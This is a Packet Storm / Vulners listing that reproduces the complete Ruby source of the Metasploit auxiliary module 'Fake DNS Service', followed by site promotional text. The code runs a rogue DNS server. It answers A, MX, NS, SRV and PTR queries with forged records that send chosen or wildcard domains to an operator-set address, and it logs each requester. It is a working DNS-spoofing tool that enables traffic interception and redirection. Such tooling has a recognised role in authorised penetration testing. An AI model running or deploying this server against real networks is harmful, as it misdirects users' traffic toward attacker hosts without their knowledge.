Lucene search
K

Fake DNS Service

🗓️ 31 Aug 2024 00:00:00Reported by H D Moore, Dino A. Dai Zovi, fozavci, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 165 Views

This module provides a DNS service that redirects all queries to a particular address

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'resolv'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
  
  
def initialize  
super(  
'Name' => 'Fake DNS Service',  
'Description' => %q{  
This module provides a DNS service that redirects  
all queries to a particular address.  
},  
'Author' => ['ddz', 'hdm', 'fozavci'],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service', 'Description' => 'Run DNS server' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service'  
)  
  
register_options(  
[  
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),  
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]),  
OptAddress.new('TARGETHOST', [ false, "The address that all names should resolve to", nil ]),  
OptString.new('TARGETDOMAIN', [ true, "The list of target domain names we want to fully resolve (BYPASS) or fake resolve (FAKE). Use '*' for wildcard.", 'www.google.com']),  
OptEnum.new('TARGETACTION', [ true, "Action for TARGETDOMAIN", "BYPASS", %w{FAKE BYPASS}]),  
])  
  
register_advanced_options(  
[  
OptPort.new('RR_SRV_PORT', [ false, "The port field in the SRV response when FAKE", 5060]),  
OptBool.new('LogConsole', [ false, "Determines whether to log all request to the console", true]),  
OptBool.new('LogDatabase', [ false, "Determines whether to log all request to the database", false]),  
])  
end  
  
  
def target_host(addr = nil)  
target = datastore['TARGETHOST']  
if target.blank?  
if addr  
::Rex::Socket.source_address(addr)  
else  
nil  
end  
else  
::Rex::Socket.resolv_to_dotted(target)  
end  
end  
  
def run  
@port = datastore['SRVPORT'].to_i  
  
@log_console = false  
@log_database = false  
  
if datastore['LogConsole']  
@log_console = true  
end  
  
if datastore['LogDatabase']  
@log_database = true  
end  
  
# MacOS X workaround  
::Socket.do_not_reverse_lookup = true  
  
print_status("DNS server initializing")  
@sock = ::UDPSocket.new()  
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)  
@sock.bind(datastore['SRVHOST'], @port)  
@run = true  
@domain_target_list = datastore['TARGETDOMAIN'].split  
@bypass = ( datastore['TARGETACTION'].upcase == "BYPASS" )  
  
print_status("DNS server started")  
begin  
  
while @run  
@error_resolving = false  
packet, addr = @sock.recvfrom(65535)  
src_addr = addr[3]  
@requestor = addr  
next if packet.length == 0  
  
request = Resolv::DNS::Message.decode(packet)  
next unless request.qr == 0  
  
#  
# XXX: Track request IDs by requesting IP address and port  
#  
# Windows XP SP1a: UDP source port constant,  
# sequential IDs since boot time  
# Windows XP SP2: Randomized IDs  
#  
# Debian 3.1: Static source port (32906) until timeout,  
# randomized IDs  
#  
  
lst = []  
  
request.each_question {|name, typeclass|  
# Identify potential domain exceptions  
@match_target = false  
@match_name = name.to_s  
@domain_target_list.each do |ex|  
escaped = Regexp.escape(ex).gsub('\*','.*?')  
regex = Regexp.new "^#{escaped}$", Regexp::IGNORECASE  
if ( name.to_s =~ regex )  
@match_target = true  
@match_name = ex  
end  
end  
  
tc_s = typeclass.to_s().gsub(/^Resolv::DNS::Resource::/, "")  
  
request.qr = 1  
request.ra = 1  
  
lst << "#{tc_s} #{name}"  
case tc_s  
when 'IN::A'  
  
# Special fingerprinting name lookups:  
#  
# _isatap -> XP SP = 0  
# isatap.localdomain -> XP SP >= 1  
# teredo.ipv6.microsoft.com -> XP SP >= 2  
#  
# time.windows.com -> windows ???  
# wpad.localdomain -> windows ???  
#  
# <hostname> SOA -> windows XP self hostname lookup  
#  
  
answer = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
  
if (@match_target and not @bypass) or (not @match_target and @bypass)  
# Resolve FAKE response  
if (@log_console)  
print_status("DNS target domain #{@match_name} found; Returning fake A records for #{name}")  
end  
else  
# Resolve the exception domain  
begin  
ip = Resolv::DNS.new().getaddress(name).to_s  
answer = Resolv::DNS::Resource::IN::A.new( ip )  
rescue ::Exception => e  
@error_resolving = true  
next  
end  
if (@log_console)  
print_status("DNS bypass domain #{@match_name} found; Returning real A records for #{name}")  
end  
end  
  
  
request.add_answer(name, 60, answer)  
  
when 'IN::MX'  
mx = Resolv::DNS::Resource::IN::MX.new(10, Resolv::DNS::Name.create("mail.#{name}"))  
ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))  
ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
request.add_answer(name, 60, mx)  
request.add_authority(name, 60, ns)  
request.add_additional(Resolv::DNS::Name.create("mail.#{name}"), 60, ar)  
  
when 'IN::NS'  
ns = Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create("dns.#{name}"))  
ar = Resolv::DNS::Resource::IN::A.new(target_host(src_addr))  
request.add_answer(name, 60, ns)  
request.add_additional(name, 60, ar)  
  
when 'IN::SRV'  
if @bypass || !@match_target  
if @log_console  
print_status("DNS bypass domain #{@match_name} found; Returning real SRV records for #{name}")  
end  
# if we are in bypass mode or we are in fake mode but the target didn't match,  
# just return the real response RRs  
resources = Resolv::DNS.new().getresources(Resolv::DNS::Name.create(name), Resolv::DNS::Resource::IN::SRV)  
if resources.empty?  
@error_resolving = true  
print_error("Unable to resolve SRV record for #{name} -- skipping")  
next  
end  
resources.each do |resource|  
host = resource.target  
port = resource.port.to_i  
weight = resource.weight.to_i  
priority = resource.priority.to_i  
ttl = resource.ttl.to_i  
request.add_answer(  
name,  
ttl,  
Resolv::DNS::Resource::IN::SRV.new(priority, weight, port, Resolv::DNS::Name.create(host))  
)  
end  
else  
if @log_console  
print_status("DNS target domain #{@match_name} found; Returning fake SRV records for #{name}")  
# Prepare the FAKE response  
request.add_answer(  
name,  
10,  
Resolv::DNS::Resource::IN::SRV.new(5, 0, datastore['RR_SRV_PORT'], Resolv::DNS::Name.create(name))  
)  
request.add_additional(Resolv::DNS::Name.create(name), 60, Resolv::DNS::Resource::IN::A.new(target_host(src_addr)))  
end  
end  
when 'IN::PTR'  
soa = Resolv::DNS::Resource::IN::SOA.new(  
Resolv::DNS::Name.create("ns.internet.com"),  
Resolv::DNS::Name.create("root.internet.com"),  
1,  
3600,  
3600,  
3600,  
3600  
)  
ans = Resolv::DNS::Resource::IN::PTR.new(  
Resolv::DNS::Name.create("www")  
)  
  
request.add_answer(name, 60, ans)  
request.add_authority(name, 60, soa)  
else  
lst << "UNKNOWN #{tc_s}"  
end  
}  
  
if(@log_console)  
if(@error_resolving)  
print_error("XID #{request.id} (#{lst.join(", ")}) - Error resolving")  
else  
print_status("XID #{request.id} (#{lst.join(", ")})")  
end  
end  
  
if(@log_database)  
report_note(  
:host => addr[3],  
:type => "dns_lookup",  
:data => "#{addr[3]}:#{addr[1]} XID #{request.id} (#{lst.join(", ")})"  
) if lst.length > 0  
end  
  
  
@sock.send(request.encode(), 0, addr[3], addr[1])  
end  
  
rescue ::Exception => e  
print_error("fakedns: #{e.class} #{e} #{e.backtrace}")  
# Make sure the socket gets closed on exit  
ensure  
@sock.close  
end  
end  
  
def print_error(msg)  
@requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)  
end  
  
def print_status(msg)  
@requestor ? super("%s:%p - DNS - %s" % [@requestor[3], @requestor[1], msg]) : super(msg)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
165